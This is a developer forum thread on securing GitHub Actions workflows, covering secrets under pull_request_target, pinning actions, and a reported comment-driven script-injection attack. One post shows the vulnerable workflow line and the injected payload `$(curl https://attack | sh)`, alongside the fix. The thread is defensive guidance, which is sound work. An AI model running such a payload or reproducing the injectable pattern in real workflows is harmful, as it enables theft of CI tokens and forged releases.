# Reviewing GitHub Actions workflows & tokens

**URL:** <https://discourse.julialang.org/t/reviewing-github-actions-workflows-tokens/136400>\
**Category:** Tooling\
**Created:** [March 26, 2026, 2:16am UTC](https://discourse.julialang.org/t/reviewing-github-actions-workflows-tokens/136400 "2026-03-26T02:16:34Z")\
**Posts on this page:** 5\
**Page:** 1

<div class="post-metadata">

**Author:** ![mbauman](https://sea2.discourse-cdn.com/julialang/user_avatar/discourse.julialang.org/mbauman/32/31082_2.png) [@mbauman](https://discourse.julialang.org/u/mbauman)\
**Post date:** [March 26, 2026, 2:16am UTC](https://discourse.julialang.org/t/reviewing-github-actions-workflows-tokens/136400/1 "2026-03-26T02:16:34Z")

</div>

GitHub Actions are great! But following some recent news, I wanted to make sure I understood their potential issues… and more importantly, get a better understanding of _what_ I need to be looking for and avoiding. I found both the reporting around the exploit and the GitHub docs a little challenging to understand concretely where the issues lie.

It’s all about avoiding workflows that **both** have something valuable **and** can execute attacker-controlled code. The valuable thing in this context is almost certainly a credential with access: tokens, API keys, secrets, etc. And the whole point of pull request CI is… to execute code that someone unknown submits! There are a few key principles that help keep these separated:

1. The standard `on:` [`pull_request:`](https://docs.github.com/en/actions/reference/workflows-and-actions/events-that-trigger-workflows#pull_request) runs triggered from forks don’t get any repository secrets at all (beyond a read-only GitHub token). This is great! But it means, though, that these actions can’t do anything that change the state of the repository beyond their resulting status. They cannot make comments. They can’t add labels. They can’t assign reviewers or upload website previews.

2. So that’s the whole point of the `on:` [`pull_request_target:`](https://docs.github.com/en/actions/reference/workflows-and-actions/events-that-trigger-workflows#pull_request_target) trigger; it allows actions _with the target repository’s secrets available!_ This enables comments and labeling and such, but this comes with a HUGE caveat: it might also execute code that an attacker directly provides on their branch. Even worse, `pull_request_target` automatically escalates the default GitHub token’s permissions to `contents: write` unless you have an explicit `permissions` section. There’s one bit of protection here: GitHub ignores the changes the pull request makes to the particular `workflow.yml` file itself. It always uses the file as it is on the default repository branch instead. This protection is only for that one file, so the fundamental rule for `pull_request_target`s are that **they should not reference or include or execute any other files** if their secrets use any sort of privileges.

3. But then of course actions often run other code, too, beyond the things that you yourself wrote and trust within your own repository. These are often actions themselves and a step simply `uses` them. These actions can run in even more trusted contexts, including `push:`. So again, like any dependency, you want to be sure you know what you’re using, that you trust it and its author/org, and you can limit your possible attack surface. It may be good practice to pin to an exact commit instead of a major `@v5` tag (or even `@v5.1.2`).

4. I think it’s also worth explicitly noting that workflow `step`s aren’t securely isolated from each other, even though you can independently pass secrets to one step but not the other. Any secret that’s used within the workflow at large could be exfiltrated through a memory dump. Independent workflows, however, are isolated and each only gets the secrets it explicitly references in its yml file (and only that file).

* * *

The absolute scariest case here is the `pull_request_target` workflow that has access to an important secret (the default case!) and `include`s some execution from elsewhere outside that file. I also think it’s worth limiting all three things as much as possible, because code _changes_ and it’s easy to, e.g., mistakenly add some misdirection or a secret in a gradual manner or otherwise break that fragile isolation… and there’s always other dependency attacks waiting in the future.

So take some time and review your token permissions and workflows today! 🙂

---

<div class="post-metadata">

**Author:** ![halleysfifthinc](https://sea2.discourse-cdn.com/julialang/user_avatar/discourse.julialang.org/halleysfifthinc/32/206280_2.png) [@halleysfifthinc](https://discourse.julialang.org/u/halleysfifthinc)\
**Post date:** [March 26, 2026, 4:45pm UTC](https://discourse.julialang.org/t/reviewing-github-actions-workflows-tokens/136400/2 "2026-03-26T16:45:30Z")

</div>

> [@mbauman](#):
>
> it may be good practice to pin to an exact commit

PSA: I just discovered yesterday that there is a repo level setting to “Require actions to be pinned to a full-length commit SHA”. Dependabot will recognize and match whichever action versioning convention (version tag or commit SHA) is used, per step.

---

<div class="post-metadata">

**Author:** ![mbauman](https://sea2.discourse-cdn.com/julialang/user_avatar/discourse.julialang.org/mbauman/32/31082_2.png) [@mbauman](https://discourse.julialang.org/u/mbauman)\
**Post date:** [April 29, 2026, 5:58pm UTC](https://discourse.julialang.org/t/reviewing-github-actions-workflows-tokens/136400/3 "2026-04-29T17:58:28Z")

</div>

Another week, [another GHA attack](https://www.stepsecurity.io/blog/elementary-data-compromised-on-pypi-and-ghcr-forged-release-pushed-via-github-actions-script-injection). This time, it was even simpler. A Python package had an `issue_comment`-triggered workflow that simply echo’ed the comment body (likely for debugging purposes):

```yaml
    run: |
        echo "Comment Body: ${{ github.event.comment.body }}"
        # ...

```

This is vulnerable to a straightforward shell injection, so the attacker simply had to _comment_ `$(curl https://attack | sh)`.

This granted the attacker _temporary_ access to the GITHUB\_TOKEN (`@github-actions[bot]`), but they kept the runner alive long enough to tag a new compromised release and trigger a publish-to-pypi workflow. Notably — and unlike many other attacks — this did not require compromising the PyPI token or a separate GitHub PAT.

This is one of [the first things GitHub warns about in its security guidance](https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks); you should instead use:

```yaml
    env:
        BODY: ${{ github.event.comment.body }}
    run: |
        echo "Comment Body: $BODY"
        # ...

```

These sorts of problems are [actively and automatedly](https://ebuildersecurity.com/cyber-news/prt-scan-ai-github-actions-supply-chain-attack-2026/) being exploited and are relatively easy to find.

---

<div class="post-metadata">

**Author:** ![langestefan](https://sea2.discourse-cdn.com/julialang/user_avatar/discourse.julialang.org/langestefan/32/207923_2.png) [@langestefan](https://discourse.julialang.org/u/langestefan)\
**Post date:** [April 29, 2026, 6:17pm UTC](https://discourse.julialang.org/t/reviewing-github-actions-workflows-tokens/136400/4 "2026-04-29T18:17:27Z")

</div>

I didn’t look at all the details but wouldn’t this kind of exploit be detected by CodeQL?

---

<div class="post-metadata">

**Author:** ![mbauman](https://sea2.discourse-cdn.com/julialang/user_avatar/discourse.julialang.org/mbauman/32/31082_2.png) [@mbauman](https://discourse.julialang.org/u/mbauman)\
**Post date:** [April 29, 2026, 7:16pm UTC](https://discourse.julialang.org/t/reviewing-github-actions-workflows-tokens/136400/5 "2026-04-29T19:16:14Z")

</div>

Yes, they’ve been flagging code injection since at least 2025, but I’m not sure if they’d catch the more complicated `pull_request_target` issue that hit trivy.

> **[Queries - How to scan GitHub Actions workflows for security issues](https://github.blog/security/application-security/how-to-secure-your-github-actions-workflows-with-codeql/#queries)**
>
> In the last few months, we secured more than 75 GitHub Actions workflows in open source projects, disclosing more than 90 different vulnerabilities. Out of this research, we produced new support for workflows in CodeQL, empowering you to secure...

It’s a good idea to enable it, though! Julia isn’t supported, but it’ll scan your actions.
